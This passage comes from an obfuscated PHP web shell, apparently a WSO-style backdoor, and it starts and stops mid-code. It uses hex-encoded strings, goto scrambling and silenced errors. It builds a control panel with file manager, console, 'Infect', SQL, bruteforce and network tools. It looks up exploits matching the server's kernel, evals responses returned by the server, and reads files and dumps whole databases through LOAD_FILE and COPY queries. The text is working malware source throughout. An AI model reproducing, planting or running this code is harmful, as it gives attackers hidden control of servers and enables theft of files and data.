"\x27\x29\x3b\12\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\40\x64\56\155\146\56\143\56\x76\141\154\165\145\x20\x3d\x20\145\156\x63\x72\x79\160\x74\x28\x64\56\155\x66\x2e\x63\x2e\x76\x61\154\165\x65\x2c\x27" . $_COOKIE[md5($_SERVER["\110\x54\124\x50\x5f\x48\117\123\x54"]) . "\153\145\171"] . "\47\51\x3b\xa\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x64\56\x6d\146\56\160\x31\56\x76\x61\x6c\165\x65\40\75\x20\x65\x6e\x63\x72\x79\160\164\x28\144\56\x6d\146\56\160\x31\56\x76\x61\x6c\165\145\54\x27" . $_COOKIE[md5($_SERVER["\110\124\x54\120\x5f\x48\117\x53\x54"]) . "\153\145\171"] . "\x27\51\73\12\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\x64\56\155\x66\x2e\x70\62\x2e\x76\141\154\x75\145\40\x3d\40\x65\x6e\143\162\171\x70\164\x28\144\56\x6d\146\56\x70\x32\x2e\166\x61\x6c\165\x65\54\47" . $_COOKIE[md5($_SERVER["\x48\x54\x54\120\x5f\x48\x4f\123\124"]) . "\x6b\145\x79"] . "\47\51\73\12\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\144\56\x6d\x66\x2e\x70\63\56\x76\141\x6c\165\145\40\x3d\40\x65\x6e\x63\162\171\160\x74\50\144\56\155\x66\x2e\x70\63\x2e\x76\x61\x6c\165\145\x2c\x27" . $_COOKIE[md5($_SERVER["\x48\x54\124\x50\x5f\x48\x4f\123\x54"]) . "\x6b\x65\x79"] . "\x27\x29\73\12\x20\x20\40\40\40\40\40\40\40\40\x20\x20\40\x20\40\x20\151\146\50\x63\x68\141\x72\163\x65\164\x21\75\x6e\165\154\154\51\144\56\x6d\x66\56\143\150\141\x72\x73\x65\164\56\166\x61\x6c\x75\x65\x3d\x63\150\141\x72\x73\145\164\x3b\x65\154\163\x65\x20\x64\56\155\x66\56\x63\150\x61\162\x73\x65\x74\56\x76\141\154\x75\x65\75\x63\150\x61\x72\x73\145\164\137\x3b\xa\40\40\x20\x20\40\40\x20\x20\175\xa\40\x20\40\40\40\40\x20\40\x66\165\156\x63\x74\151\157\156\40\x67\50\x61\x2c\143\54\160\x31\54\160\x32\x2c\x70\x33\54\x63\x68\x61\x72\163\x65\164\x29\x20\173\12\40\40\40\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\163\x65\164\x28\x61\x2c\x63\54\160\61\54\x70\x32\x2c\160\x33\54\x63\150\x61\162\x73\x65\164\51\73\xa\40\40\40\40\40\x20\40\40\40\x20\40\x20\x20\40\40\40\144\56\155\x66\56\163\x75\142\x6d\151\x74\x28\x29\x3b\xa\x20\40\x20\x20\40\40\x20\40\x7d\xa\x20\40\x20\40\40\40\40\40\146\165\156\143\x74\x69\x6f\156\x20\x61\50\x61\x2c\x63\x2c\x70\x31\54\160\62\x2c\160\x33\54\143\x68\141\162\x73\145\x74\x29\x20\x7b\xa\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x73\145\x74\x28\x61\x2c\x63\x2c\x70\61\54\160\x32\x2c\x70\63\54\x63\x68\141\x72\163\145\x74\51\73\xa\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\166\x61\162\x20\160\141\x72\x61\155\x73\x20\75\x20\47\x61\152\141\170\75\164\162\165\x65\47\x3b\12\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\40\40\40\40\146\x6f\162\50\151\x3d\x30\73\x69\74\144\56\x6d\x66\x2e\145\x6c\x65\x6d\145\x6e\164\x73\x2e\x6c\145\x6e\147\x74\150\x3b\x69\53\x2b\x29\xa\x20\40\40\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\160\141\162\141\155\163\x20\x2b\75\40\47\x26\x27\x2b\x64\x2e\x6d\146\56\x65\x6c\x65\x6d\x65\156\x74\x73\x5b\151\x5d\x2e\x6e\141\x6d\145\x2b\47\75\x27\53\145\156\143\x6f\x64\145\x55\x52\111\x43\157\x6d\160\x6f\156\x65\x6e\164\50\144\x2e\155\146\56\x65\154\145\155\145\156\164\163\133\151\x5d\56\x76\141\154\165\x65\x29\x3b\xa\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x73\162\x28\x27" . addslashes($_SERVER["\x52\x45\121\x55\x45\x53\x54\137\125\x52\111"]) . "\x27\54\40\160\x61\162\x61\155\163\51\x3b\12\40\x20\x20\40\x20\x20\40\x20\x7d\12\x20\40\40\40\x20\40\40\x20\146\x75\156\143\164\x69\157\156\x20\x73\162\x28\165\x72\x6c\x2c\40\x70\x61\x72\x61\x6d\x73\51\x20\173\12\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\x69\x66\40\50\x77\151\x6e\144\x6f\167\56\x58\115\114\x48\164\164\x70\x52\x65\x71\x75\145\x73\x74\x29\xa\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\40\162\x65\x71\x20\75\40\x6e\145\167\40\x58\x4d\x4c\x48\x74\164\160\x52\x65\161\x75\145\x73\164\50\51\73\12\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\x20\x20\x20\145\x6c\163\145\40\151\146\40\50\167\x69\156\144\x6f\x77\x2e\x41\143\x74\151\x76\145\x58\x4f\142\152\x65\x63\x74\51\xa\40\x20\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\162\x65\x71\40\75\x20\x6e\145\167\x20\101\x63\164\151\166\x65\130\117\142\152\145\143\x74\50\x27\115\x69\x63\x72\157\x73\x6f\146\164\56\x58\x4d\x4c\x48\124\124\120\x27\x29\73\12\x20\40\x20\x20\40\x20\x20\40\151\146\x20\x28\x72\145\x71\x29\x20\x7b\12\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\x72\145\161\56\x6f\156\x72\145\141\144\171\163\164\x61\164\x65\x63\150\141\x6e\x67\x65\x20\x3d\x20\x70\162\157\143\x65\x73\163\122\x65\x71\103\150\141\x6e\x67\x65\x3b\xa\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\162\x65\x71\x2e\157\160\x65\x6e\50\x27\120\x4f\x53\x54\47\54\x20\x75\162\x6c\x2c\40\x74\162\x75\x65\51\73\xa\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\162\145\x71\x2e\163\145\164\x52\x65\161\165\145\163\x74\110\x65\x61\x64\x65\x72\x20\x28\x27\103\x6f\x6e\x74\145\x6e\164\55\x54\171\x70\145\x27\x2c\x20\x27\141\x70\160\154\151\x63\141\x74\x69\x6f\x6e\57\x78\x2d\x77\167\x77\55\146\157\x72\155\55\x75\x72\154\145\156\143\157\x64\x65\x64\47\51\73\12\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x72\145\161\x2e\163\145\x6e\144\50\x70\x61\162\x61\x6d\163\x29\x3b\xa\40\40\x20\40\x20\x20\40\40\175\12\x20\40\40\x20\x20\x20\x20\x20\175\xa\x20\x20\x20\40\40\x20\x20\x20\146\x75\156\143\x74\x69\x6f\156\x20\x70\162\x6f\x63\x65\x73\163\x52\x65\x71\x43\150\x61\x6e\147\145\x28\51\x20\x7b\12\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x69\146\50\x20\x28\162\x65\x71\x2e\162\145\x61\x64\171\123\164\141\164\x65\x20\x3d\75\40\64\x29\40\x29\xa\x20\40\40\40\x20\40\x20\40\40\x20\40\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\151\146\50\x72\145\161\x2e\x73\x74\x61\x74\x75\x73\40\x3d\75\x20\x32\x30\x30\51\x20\173\12\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\x76\141\162\x20\162\x65\x67\40\x3d\x20\x6e\145\x77\40\122\x65\x67\x45\x78\160\x28\42\50\x5c\x5c\144\53\x29\x28\133\134\x5c\123\134\134\163\135\52\x29\x22\x2c\x20\x27\155\x27\x29\x3b\12\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x76\141\162\x20\141\162\x72\75\162\145\147\x2e\145\x78\x65\x63\x28\162\145\161\x2e\x72\x65\x73\x70\157\x6e\x73\x65\x54\145\170\164\x29\x3b\xa\40\x20\40\40\40\x20\40\x20\40\40\x20\40\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x65\166\x61\154\x28\x61\x72\162\133\62\135\56\x73\165\x62\x73\x74\x72\x28\x30\x2c\x20\x61\x72\162\133\61\135\x29\x29\73\xa\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\175\40\x65\x6c\x73\145\40\141\154\x65\x72\164\50\x27\122\145\x71\165\x65\x73\x74\x20\x65\162\162\x6f\x72\x21\x27\51\x3b\12\40\x20\40\x20\x20\40\40\40\175\xa\x3c\57\x73\143\162\151\160\164\76\xa\x3c\x68\x65\141\x64\76\74\142\157\x64\171\76\x3c\x64\151\166\40\163\164\171\154\145\75\x27\160\157\x73\x69\x74\x69\x6f\x6e\x3a\141\x62\x73\157\154\165\164\x65\73\x77\x69\144\164\150\x3a\61\x30\60\x25\x3b\x74\157\160\72\x30\x3b\154\x65\x66\x74\x3a\x30\x3b\x27\x3e\12\74\146\x6f\x72\155\x20\155\x65\164\150\x6f\x64\75\160\157\x73\x74\x20\x6e\x61\x6d\145\x3d\155\146\40\x73\164\171\x6c\x65\x3d\47\x64\151\x73\160\x6c\141\x79\72\x6e\157\x6e\145\x3b\47\x3e\12\74\x69\x6e\x70\165\164\x20\x74\x79\x70\x65\x3d\x68\x69\144\x64\145\x6e\x20\156\x61\x6d\145\x3d\x61\x3e\12\x3c\151\x6e\160\165\x74\40\x74\171\160\145\x3d\x68\151\x64\x64\x65\x6e\x20\x6e\x61\x6d\145\75\143\76\12\74\x69\156\x70\165\164\x20\x74\x79\160\x65\75\150\x69\x64\144\x65\156\40\156\x61\x6d\145\x3d\x70\61\x3e\xa\74\151\156\x70\165\164\40\x74\171\160\145\x3d\x68\151\x64\144\145\156\40\x6e\141\x6d\x65\x3d\160\62\x3e\12\x3c\x69\x6e\x70\x75\164\x20\164\171\x70\x65\75\150\x69\x64\x64\x65\x6e\40\156\x61\x6d\145\75\x70\63\76\12\74\x69\x6e\x70\165\164\x20\x74\171\x70\145\x3d\150\x69\144\144\145\156\x20\x6e\141\155\x65\x3d\143\x68\x61\162\x73\x65\164\x3e\xa\x3c\x2f\x66\x6f\x72\x6d\76"; $freeSpace = @diskfreespace($GLOBALS["\x63\x77\144"]); $totalSpace = @disk_total_space($GLOBALS["\x63\x77\144"]); $totalSpace = $totalSpace ? $totalSpace : 1; $release = @php_uname("\x72"); $kernel = @php_uname("\163"); $explink = "\150\164\164\x70\x3a\57\x2f\x6e\157\162\145\x66\145\x72\145\x72\x2e\x64\145\x2f\77\x68\164\164\x70\x3a\x2f\x2f\167\167\167\x2e\145\170\160\154\157\x69\x74\55\144\x62\56\x63\x6f\x6d\57\163\145\141\162\143\150\57\77\141\x63\164\x69\157\x6e\x3d\163\x65\x61\162\143\150\x26\144\x65\163\x63\x72\x69\160\x74\x69\157\156\75"; if (strpos("\x4c\x69\x6e\x75\170", $kernel) !== false) { $explink .= urlencode("\114\x69\x6e\165\x78\x20\x4b\x65\x72\x6e\145\154\40" . substr($release, 0, 6)); } else { $explink .= urlencode($kernel . "\x20" . substr($release, 0, 3)); } if (!function_exists("\160\x6f\163\x69\170\x5f\x67\145\164\x65\147\x69\x64")) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "\x3f"; } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid["\156\x61\x6d\x65"]; $uid = $uid["\x75\151\144"]; $group = $gid["\156\x61\155\145"]; $gid = $gid["\x67\151\x64"]; } $cwd_links = ''; $path = explode("\57", $GLOBALS["\143\167\x64"]); $n = count($path); for ($i = 0; $i < $n - 1; $i++) { $cwd_links .= "\74\x61\x20\150\162\x65\x66\x3d\47\x23\x27\x20\x6f\x6e\143\154\x69\143\x6b\x3d\47\147\x28\42\106\x69\x6c\x65\163\x4d\x61\x6e\x22\54\42"; for ($j = 0; $j <= $i; $j++) { $cwd_links .= $path[$j] . "\57"; } $cwd_links .= "\x22\x29\x27\76" . $path[$i] . "\57\x3c\57\141\x3e"; } $charsets = array("\125\124\x46\55\70", "\127\x69\x6e\x64\157\167\x73\x2d\61\62\65\x31", "\x4b\117\111\x38\x2d\122", "\113\x4f\111\70\x2d\125", "\143\x70\x38\66\x36"); $opt_charsets = ''; foreach ($charsets as $dokl) { $opt_charsets .= "\x3c\x6f\x70\164\x69\157\x6e\40\x76\x61\154\x75\x65\75\x22" . $dokl . "\42\40" . ($_POST["\x63\150\141\162\x73\x65\x74"] == $dokl ? "\x73\x65\x6c\145\x63\164\x65\144" : '') . "\x3e" . $dokl . "\x3c\x2f\157\x70\x74\151\157\156\76"; } $m = array("\123\145\143\56\40\111\x6e\x66\157" => "\x53\145\x63\111\156\x66\157", "\106\x69\154\145\x73" => "\x46\151\154\145\x73\x4d\141\156", "\104\x65\x6c\x69\166\145\162\171\40\x54\x65\x73\164" => "\104\145\x6c\151\x76\x65\162\171\x74\x65\163\164", "\x43\157\x6e\x73\157\x6c\145" => "\x43\x6f\x6e\x73\x6f\154\x65", "\x49\156\x66\145\x63\x74" => "\x49\156\x66\x65\143\164", "\x53\161\154" => "\x53\x71\154", "\x50\x68\x70" => "\120\150\160", "\123\x61\x66\145\x20\x6d\157\144\145" => "\x53\x61\x66\x65\x4d\x6f\144\145", "\123\164\162\x69\x6e\147\x20\x74\x6f\x6f\154\163" => "\x53\x74\x72\x69\156\147\x54\x6f\x6f\154\163", "\102\162\165\x74\145\x66\157\162\x63\145" => "\102\162\165\x74\145\x66\157\x72\143\x65", "\x4e\x65\x74\x77\157\x72\x6b" => "\116\145\x74\x77\157\162\x6b"); if (!empty($GLOBALS["\160\141\x73\x73\x77\x6f\162\x64\137\x73\x68\x65\154\154"])) { $m["\x43\150\141\156\147\x65\40\x50\x61\x73\163\x77\x6f\162\144"] = "\x63\150\x61\156\x67\x65\160\141\163\x73"; $m["\x4c\157\x67\157\x75\x74"] = "\x4c\x6f\147\157\x75\x74"; } else { $m["\123\x68\145\x6c\154\40\160\141\163\163\x77\157\162\144"] = "\143\x68\x61\156\147\145\160\141\163\163"; } $menu = ''; foreach ($m as $k => $v) { if ($v == "\104\x65\154\x69\x76\145\162\x79\x74\145\x73\x74" || $v == "\x63\150\141\156\x67\x65\160\141\163\163") { $menu .= "\74\x74\x68\76\133\40\74\x61\x20\x68\x72\x65\146\75\42\43\42\40\x73\164\x79\154\x65\x3d\42\143\x6f\x6c\x6f\x72\x3a\43\145\141\65\64\x35\65\x20\x21\x69\155\160\157\x72\164\x61\156\x74\42\40\157\x6e\143\x6c\x69\x63\x6b\75\42\147\x28\x27" . $v . "\x27\x2c\156\165\x6c\x6c\54\47\x27\54\47\47\54\47\x27\51\x22\x3e" . $k . "\x3c\x2f\141\x3e\x20\x5d\74\57\x74\x68\x3e"; } else { $menu .= "\74\x74\150\x3e\x5b\40\74\x61\x20\x68\x72\x65\146\75\42\43\42\40\40\x6f\156\143\x6c\x69\x63\x6b\x3d\x22\147\x28\x27" . $v . "\47\54\x6e\165\154\x6c\54\47\47\54\47\47\x2c\x27\47\x29\42\76" . $k . "\x3c\57\141\x3e\40\135\x3c\x2f\164\x68\76"; } } $drives = ''; if ($GLOBALS["\157\x73"] == "\167\151\156") { foreach (range("\143", "\172") as $drive) { if (is_dir($drive . "\72\134")) { $drives .= "\74\x61\x20\150\x72\145\146\75\42\x23\x22\40\157\156\x63\x6c\x69\x63\x6b\x3d\42\147\50\x27\106\x69\154\145\x73\115\x61\x6e\x27\x2c\x27" . $drive . "\72\57\x27\x29\42\76\x5b\40" . $drive . "\40\135\74\x2f\141\76\x20"; } } } echo "\x3c\x74\x61\x62\x6c\145\x20\x73\x74\x79\x6c\145\75\x22\142\141\143\153\x67\x72\x6f\165\156\144\55\143\x6f\154\x6f\162\72\40\43\65\x35\x39\x3b\x22\40\x63\x6c\x61\x73\163\75\151\x6e\146\x6f\40\143\145\154\x6c\160\141\x64\144\x69\156\147\75\x33\x20\143\x65\x6c\x6c\163\x70\141\143\x69\156\x67\75\60\40\x77\x69\144\x74\x68\75\x31\x30\60\x25\x3e\74\164\x72\40\x73\164\x79\154\x65\x3d\x22\142\x61\143\153\x67\162\157\x75\156\144\x3a\x20\43\x30\x30\60\60\60\x30\x39\x65\x3b\x22\x3e\74\x74\x64\40\x77\151\x64\x74\150\75\x31\x3e\74\x73\160\141\x6e\76\125\x6e\141\x6d\145\72\x3c\142\x72\76\x55\163\x65\162\72\74\142\162\x3e\x50\x68\160\x3a\74\142\162\76\110\144\144\x3a\74\142\162\76\x43\x77\144\x3a" . ($GLOBALS["\x6f\163"] == "\167\151\x6e" ? "\x3c\142\162\76\104\x72\x69\x76\145\163\x3a" : '') . "\74\x2f\163\x70\141\x6e\76\74\x2f\x74\144\76" . "\74\164\x64\x3e\74\x62\x20\163\x74\x79\154\145\x3d\42\x64\151\x73\160\154\x61\171\72\x6e\x6f\x6e\x65\42\40\151\x64\75\42\x73\x79\x73\164\145\x6d\163\150\x6f\x72\x74\x22\76" . PHP_OS . "\x3c\x2f\x62\76\x3c\156\157\x62\162\x20\x69\x64\x3d\x22\163\171\x73\x74\145\155\144\x65\x74\42\x3e" . substr(@php_uname(), 0, 120) . "\x3c\x2f\156\x6f\x62\x72\76\x3c\142\x72\x3e" . $uid . "\40\x28\x20" . $user . "\x20\x29\40\x3c\x73\160\141\156\76\107\162\x6f\x75\160\x3a\x3c\57\163\x70\x61\156\76\40" . $gid . "\40\50\40" . $group . "\x20\x29\74\142\162\x3e\74\156\157\x62\162\40\x69\144\75\x22\x73\x79\x73\164\145\x6d\160\x68\160\x22\76" . @phpversion() . "\74\57\x6e\157\142\162\x3e\40\74\163\160\x61\156\76\x53\141\146\x65\x20\x6d\x6f\144\145\x3a\74\57\x73\160\x61\x6e\76\x20" . ($GLOBALS["\x73\x61\x66\x65\137\x6d\157\x64\145"] ? "\74\x66\x6f\x6e\164\40\x63\x6f\x6c\157\x72\75\40\43\105\101\65\64\65\65\x3e\117\116\x3c\x2f\146\x6f\x6e\x74\76" : "\x3c\x66\157\156\164\x20\x63\157\x6c\x6f\x72\x3d\43\x32\70\x43\67\x36\x46\76\x3c\142\x3e\117\106\106\x3c\57\x62\x3e\x3c\x2f\146\157\x6e\x74\x3e") . "\40\74\x61\40\x68\x72\x65\146\75\43\x20\x6f\x6e\x63\154\x69\x63\x6b\75\42\147\50\47\120\150\160\x27\x2c\156\165\154\154\54\156\165\x6c\154\54\47\151\156\x66\157\x27\51\42\x3e\133\x20\160\x68\x70\151\156\146\x6f\40\x5d\x3c\x2f\x61\76\40\74\163\x70\141\156\76\x44\x61\x74\145\164\151\155\145\x3a\74\57\x73\x70\141\156\76\x20" . date("\131\x2d\155\x2d\x64\x20\110\72\151\x3a\x73") . "\x3c\142\x72\x3e" . viewSize($totalSpace) . "\40\74\163\160\x61\156\76\x46\x72\x65\x65\x3a\74\x2f\163\x70\141\x6e\x3e\40" . viewSize($freeSpace) . "\x20\x28" . round(100 / ($totalSpace / $freeSpace), 2) . "\x25\51\x3c\x62\162\76" . $cwd_links . "\40" . viewPermsColor($GLOBALS["\143\167\x64"]) . "\40\74\x61\x20\x68\162\145\x66\75\x23\40\157\156\x63\x6c\151\143\x6b\75\x22\x67\50\x27\106\151\154\145\163\115\x61\156\47\54\47" . $GLOBALS["\150\x6f\155\x65\x5f\143\167\144"] . "\47\54\x27\x27\x2c\x27\x27\x2c\47\47\51\42\76\133\40\x68\157\x6d\x65\x20\x5d\74\57\x61\x3e\74\x62\162\x3e" . $drives . "\x3c\x2f\x74\x64\76" . "\74\x74\144\40\167\x69\144\164\x68\75\61\40\141\154\151\147\x6e\75\162\151\147\x68\164\76\74\x6e\157\142\162\76\74\154\x61\142\x65\154\x3e\x3c\163\x65\x6c\x65\143\x74\x20\x6f\x6e\x63\150\141\x6e\147\145\x3d\x22\147\x28\x6e\165\x6c\154\x2c\x6e\x75\x6c\154\54\156\165\x6c\154\54\156\165\154\154\54\156\x75\154\x6c\x2c\x74\x68\151\x73\x2e\x76\141\x6c\165\145\51\x22\76" . $opt_charsets . "\x3c\x2f\x73\145\154\x65\143\x74\x3e\74\57\x6c\141\x62\x65\x6c\76\74\142\x72\x3e\74\163\x70\141\156\76\x53\x65\162\x76\x65\x72\x20\x49\120\x3a\x3c\57\163\x70\x61\x6e\76\x3c\142\162\x3e" . gethostbyname($_SERVER["\110\x54\124\120\137\x48\117\123\x54"]) . "\x3c\x62\162\x3e\x3c\163\x70\x61\156\x3e\103\x6c\151\145\x6e\x74\40\111\120\x3a\x3c\x2f\163\160\141\x6e\76\74\142\162\76\x2d\74\x2f\x6e\157\142\x72\x3e\x3c\57\164\144\x3e\74\57\164\x72\76\x3c\x2f\164\141\142\154\x65\x3e" . "\x3c\164\141\x62\154\145\x20\163\164\x79\154\x65\x3d\x22\x62\x61\143\x6b\147\x72\x6f\x75\x6e\x64\55\x63\x6f\x6c\157\x72\x3a\142\154\141\x63\153\x3b\42\40\x63\145\154\x6c\160\141\144\x64\151\x6e\x67\x3d\x33\x20\143\145\x6c\154\163\160\141\x63\x69\156\x67\75\60\40\x77\x69\x64\x74\150\75\x31\60\60\x25\x3e\x3c\164\x72\76" . $menu . "\x3c\57\x74\162\x3e\74\x2f\164\141\x62\154\x65\x3e\74\144\151\166\x3e\74\x62\162\x3e\74\x63\145\x6e\164\x65\162\x3e\x3c\141\x20\40\x68\x72\145\x66\75\42\x68\164\x74\160\163\72\x2f\x2f\145\166\x6f\x63\x68\x61\x74\56\x69\144\x22\40\x74\141\162\x67\x65\164\x20\75\40\42\137\142\x6c\141\x6e\x6b\42\163\164\171\x6c\x65\x3d\42\146\x6f\156\x74\x2d\163\x69\x7a\x65\x3a\40\x32\x30\x70\170\x3b\146\157\156\x74\x2d\x77\145\x69\147\150\164\x3a\40\x36\60\x30\x3b\x63\x6f\x6c\x6f\162\72\x20\43\145\141\x35\64\x35\65\40\x21\x69\x6d\160\x6f\x72\x74\141\x6e\164\x3b\42\76\145\166\x6f\143\x68\x61\x74\74\x2f\141\x3e\x3c\x2f\143\x65\156\164\x65\162\x3e"; } goto IWSGk; U46u7: error_reporting(0); goto DDb0p; JI6fz: @ini_set("\x65\162\x72\157\162\x5f\x6c\157\147", NULL); goto zVhWb; X78wP: function actionSql() { class DbClass { var $type; var $link; var $res; function __construct($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname) { switch ($this->type) { case "\155\x79\x73\161\x6c": if ($this->link = @mysql_connect($host, $user, $pass, true)) { return true; } break; case "\x70\147\x73\161\x6c": $host = explode("\72", $host); if (!$host[1]) { $host[1] = 5432; } if ($this->link = @pg_connect("\150\157\x73\164\75{$host[0]}\x20\x70\157\162\x74\x3d{$host[1]}\x20\x75\x73\145\x72\75{$user}\40\160\x61\x73\163\167\157\162\x64\75{$pass}\40\x64\142\156\x61\155\145\x3d{$dbname}")) { return true; } break; } return false; } function selectdb($db) { switch ($this->type) { case "\155\171\x73\161\x6c": if (@mysql_select_db($db)) { return true; } break; } return false; } function query($str) { switch ($this->type) { case "\155\x79\163\x71\154": return $this->res = @mysql_query($str); break; case "\160\x67\x73\x71\154": return $this->res = @pg_query($this->link, $str); break; } return false; } function fetch() { $res = func_num_args() ? func_get_arg(0) : $this->res; switch ($this->type) { case "\155\171\163\x71\x6c": return @mysql_fetch_assoc($res); break; case "\x70\x67\x73\161\x6c": return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch ($this->type) { case "\x6d\171\x73\x71\x6c": return $this->query("\123\110\x4f\x57\x20\144\x61\x74\x61\142\141\163\145\163"); break; case "\160\147\163\x71\x6c": return $this->res = $this->query("\123\105\x4c\105\103\124\40\144\141\164\x6e\x61\155\145\x20\x46\x52\x4f\x4d\40\160\x67\x5f\x64\x61\164\x61\142\x61\x73\x65\x20\x57\110\105\122\x45\x20\144\x61\164\x69\x73\x74\145\x6d\160\x6c\x61\164\145\x21\x3d\x27\x74\47"); break; } return false; } function listTables() { switch ($this->type) { case "\x6d\x79\163\161\154": return $this->res = $this->query("\x53\x48\x4f\x57\40\124\101\102\x4c\x45\x53"); break; case "\160\x67\163\x71\x6c": return $this->res = $this->query("\163\145\154\x65\x63\164\40\x74\141\x62\154\145\137\156\141\x6d\x65\40\146\x72\157\x6d\x20\151\156\146\157\162\x6d\141\164\x69\157\156\x5f\x73\x63\x68\145\x6d\x61\56\164\141\x62\x6c\x65\163\x20\x77\150\x65\x72\x65\x20\164\141\142\x6c\x65\x5f\x73\x63\150\x65\155\141\40\41\x3d\40\x27\151\156\x66\157\x72\x6d\141\x74\151\x6f\156\137\x73\143\x68\145\155\141\47\40\x41\116\104\x20\164\x61\x62\154\145\137\163\143\150\x65\155\141\x20\41\x3d\40\x27\160\147\137\x63\141\x74\x61\x6c\x6f\x67\47"); break; } return false; } function error() { switch ($this->type) { case "\155\171\x73\x71\x6c": return @mysql_error(); break; case "\160\x67\163\161\x6c": return @pg_last_error(); break; } return false; } function setCharset($str) { switch ($this->type) { case "\x6d\171\x73\161\154": if (function_exists("\155\x79\x73\x71\x6c\x5f\x73\145\x74\137\x63\x68\141\162\163\x65\x74")) { return @mysql_set_charset($str, $this->link); } else { $this->query("\x53\x45\x54\x20\x43\x48\x41\x52\123\105\x54\x20" . $str); } break; case "\x70\147\x73\161\154": return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch ($this->type) { case "\155\x79\x73\161\154": return $this->fetch($this->query("\123\105\114\x45\x43\x54\40\x4c\x4f\101\x44\137\x46\x49\x4c\x45\50\x27" . addslashes($str) . "\x27\51\40\141\163\40\146\151\x6c\x65")); break; case "\x70\x67\163\x71\x6c": $this->query("\x43\122\105\x41\124\105\x20\x54\101\102\114\105\x20\x68\141\x72\144\62\50\146\151\154\x65\40\164\145\170\164\51\73\x43\117\120\x59\40\x68\x61\162\x64\62\x20\106\122\x4f\x4d\x20\x27" . addslashes($str) . "\x27\73\x73\x65\154\x65\143\164\40\146\151\154\x65\40\x66\162\157\155\40\150\141\x72\144\x32\73"); $r = array(); while ($i = $this->fetch()) { $r[] = $i["\146\151\x6c\145"]; } $this->query("\x64\162\157\160\x20\x74\x61\142\x6c\x65\x20\x68\141\x72\x64\62"); return array("\x66\151\154\145" => implode("\12", $r)); break; } return false; } function dump($table, $fp = false) { switch ($this->type) { case "\x6d\x79\163\x71\154": $res = $this->query("\x53\x48\117\x57\40\103\x52\105\101\124\x45\x20\124\101\102\114\105\40\140" . $table . "\140"); $create = mysql_fetch_array($res); $sql = $create[1] . "\73\xa"; if ($fp) { fwrite($fp, $sql); } else { echo $sql; } $this->query("\123\105\114\105\x43\x54\40\52\x20\x46\x52\x4f\x4d\40\x60" . $table . "\140"); $i = 0; $head = true; while ($dokl = $this->fetch()) { $sql = ''; if ($i % 1000 == 0) { $head = true; $sql = "\73\12\12"; } $columns = array(); foreach ($dokl as $k => $v) { if ($v === null) { $dokl[$k] = "\x4e\x55\x4c\114"; } elseif (is_int($v)) { $dokl[$k] = $v; } else { $dokl[$k] = "\x27" . @mysql_real_escape_string($v) . "\x27"; } $columns[] = "\140" . $k . "\x60"; } if ($head) { $sql .= "\x49\x4e\x53\105\x52\x54\x20\111\x4e\x54\x4f\40\x60" . $table . "\x60\x20\50" . implode("\54\x20", $columns) . "\x29\x20\126\101\x4c\x55\x45\123\40\xa\x9\x28" . implode("\54\x20", $dokl) . "\51"; $head = false; } else { $sql .= "\12\x9\x2c\x28" . implode("\54\40", $dokl) . "\x29"; } if ($fp) { fwrite($fp, $sql); } else { echo $sql; } $i++; } if (!$head) { if ($fp) { fwrite($fp, "\73\xa\12"); } else { echo "\x3b\xa\12"; } } break; case "\x70\147\163\161\x6c": $this->query("\123\x45\x4c\x45\103\x54\40\52\x20\106\122\117\115\40" . $table); while ($dokl = $this->fetch()) { $columns = array(); foreach ($dokl as $k => $v) { $dokl[$k] = "\47" . addslashes($v) . "\47"; $columns[] = $k; } $sql = "\111\116\x53\105\x52\124\x20\111\116\124\117\40" . $table . "\40\50" . implode("\54\x20", $columns) . "\x29\40\126\x41\114\125\105\x53\x20\50" . implode("\x2c\40", $dokl) . "\x29\73" . "\12"; if ($fp) { fwrite($fp, $sql); } else { echo $sql; } } break; } return false; } } $db = new DbClass($_POST["\x74\171\160\x65"]); if (@$_POST["\160\x32"] == "\x64\x6f\167\x6e\154\157\x61\x64" && @$_POST["\160\x31"] != "\163\x65\154\x65\x63\x74") { $db->connect($_POST["\x73\x71\x6c\x5f\150\157\x73\164"], $_POST["\x73\161\154\x5f\154\157\x67\151\x6e"], $_POST["\163\x71\x6c\137\160\x61\x73\x73"], $_POST["\163\161\x6c\x5f\x62\141\163\145"]); $db->selectdb($_POST["\x73\161\x6c\x5f\142\x61\163\145"]); switch ($_POST["\143\x68\x61\x72\x73\145\x74"]) { case "\127\x69\156\x64\157\167\163\55\61\x32\x35\x31": 